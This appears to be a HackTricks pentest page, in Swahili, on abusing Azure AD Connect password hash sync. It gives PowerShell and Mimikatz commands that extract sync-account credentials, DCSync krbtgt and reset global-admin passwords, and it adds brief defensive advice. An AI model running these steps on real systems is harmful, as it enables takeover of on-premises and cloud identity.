Az - PHS - Password Hash Sync

Support HackTricks

Taarifa za Msingi

Kutoka kwenye nyaraka: Password hash synchronization ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa mseto. Azure AD Connect inasawazisha hash, ya hash, ya nenosiri la mtumiaji kutoka kwenye Active Directory ya ndani hadi kwenye Azure AD ya wingu.

Ni mbinu ya kawaida zaidi inayotumiwa na kampuni kusawazisha AD ya ndani na Azure AD.

Watumiaji wote na hash ya nenosiri zinasawazishwa kutoka kwenye AD ya ndani hadi Azure AD. Hata hivyo, nenosiri wazi au hash asili hazitumwi kwenye Azure AD. Zaidi ya hayo, vikundi vya usalama vilivyojengwa ndani (kama wasimamizi wa domain...) havisawazishwi kwenye Azure AD.

Hashes synchronization hufanyika kila dakika 2. Hata hivyo, kwa chaguo-msingi, kuisha kwa nenosiri na akaunti havisawazishwi kwenye Azure AD. Kwa hivyo, mtumiaji ambaye nenosiri lake la ndani limeisha muda wake (halijabadilishwa) anaweza kuendelea kupata rasilimali za Azure kwa kutumia nenosiri la zamani.

Wakati mtumiaji wa ndani anataka kupata rasilimali ya Azure, uthibitishaji hufanyika kwenye Azure AD.

PHS inahitajika kwa vipengele kama Identity Protection na AAD Domain Services.

Pivoting

Wakati PHS imewekwa, baadhi ya akaunti zenye haki maalum zinaundwa kiotomatiki:

  • Akaunti MSOL_<installationID> inaundwa kiotomatiki kwenye AD ya ndani. Akaunti hii inapewa jukumu la Directory Synchronization Accounts (angalia nyaraka) ambayo inamaanisha kuwa ina haki za urudufu (DCSync) kwenye AD ya ndani.

  • Akaunti Sync_<name of on-prem ADConnect Server>_installationID inaundwa kwenye Azure AD. Akaunti hii inaweza kuweka upya nenosiri la mtumiaji YEYOTE (aliyesawazishwa au wa wingu pekee) kwenye Azure AD.

Nenosiri za akaunti mbili za awali zenye haki maalum zinahifadhiwa kwenye seva ya SQL kwenye seva ambapo Azure AD Connect imewekwa. Wasimamizi wanaweza kutoa nenosiri za watumiaji hao zenye haki maalum kwa maandishi wazi. Hifadhidata iko kwenye C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Inawezekana kutoa usanidi kutoka kwenye moja ya meza, moja ikiwa imefichwa:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Usanidi uliofichwa umefichwa na DPAPI na ina nenosiri za mtumiaji wa MSOL_* kwenye AD ya ndani na nenosiri la Sync_* kwenye AzureAD. Kwa hivyo, kwa kuathiri hizi inawezekana kupandisha haki kwenye AD na AzureAD.

Unaweza kupata muhtasari kamili wa jinsi hati hizi zinavyohifadhiwa na kufichuliwa katika mazungumzo haya.

Kupata seva ya Azure AD connect

Ikiwa seva ambapo Azure AD connect imewekwa imeunganishwa na domain (inapendekezwa kwenye nyaraka), inawezekana kuipata na:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Kunyanyasa MSOL_*

Azure AD Connect inasaidia hali tatu za uthibitishaji:

  • Password Hash Sync (PHS)

  • Pass-through Authentication (PTA)

  • Federation

Katika hali ya PHS, nywila za watumiaji wa on-premises zinapakuliwa na kuunganishwa na Azure AD. Hii inamaanisha kuwa nywila za watumiaji zinapatikana katika mazingira ya wingu, na zinaweza kutumiwa kwa mashambulizi ya baadaye.

Hatua za Kunyanyasa

  1. Kupata MSOL_ account: Akaunti ya MSOL_ inatumiwa na Azure AD Connect kwa shughuli za usawazishaji. Akaunti hii mara nyingi ina ruhusa za juu katika mazingira ya on-premises na wingu.

  2. Kuvuja nywila: Ikiwa mshambulizi anaweza kupata nywila ya akaunti ya MSOL_, anaweza kutumia akaunti hiyo kwa mashambulizi ya baadaye.

  3. Kutumia nywila: Kwa kutumia nywila iliyovuja, mshambulizi anaweza kupata ufikiaji wa rasilimali mbalimbali katika mazingira ya on-premises na wingu.

Ulinzi

  • Kusimamia nywila: Hakikisha nywila za akaunti za MSOL_ zinasimamiwa vizuri na kubadilishwa mara kwa mara.

  • Kufuatilia shughuli: Fuatilia shughuli za akaunti za MSOL_ kwa dalili za matumizi mabaya.

  • Kuweka mipaka ya ruhusa: Punguza ruhusa za akaunti za MSOL_ ili kupunguza athari za uvunjaji wa usalama.

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Unaweza pia kutumia adconnectdump kupata hizi nywila.

Kunyanyasa Sync_*

Kuhujumu akaunti ya Sync_* inawezekana kuweka upya nywila ya mtumiaji yeyote (ikiwa ni pamoja na Wasimamizi Wakuu)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Pia inawezekana kubadilisha nywila za watumiaji wa wingu pekee (hata kama hilo halitarajiwi)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Inawezekana pia kutoa nenosiri la mtumiaji huyu.

Chaguo jingine litakuwa kupeana ruhusa za upendeleo kwa service principal, ambayo mtumiaji wa Sync ana ruhusa ya kufanya, na kisha kupata service principal hiyo kama njia ya privesc.

Seamless SSO

Inawezekana kutumia Seamless SSO na PHS, ambayo ni hatarishi kwa matumizi mengine mabaya. Angalia hapa:

Az - Seamless SSO

Marejeleo

Support HackTricks

Last updated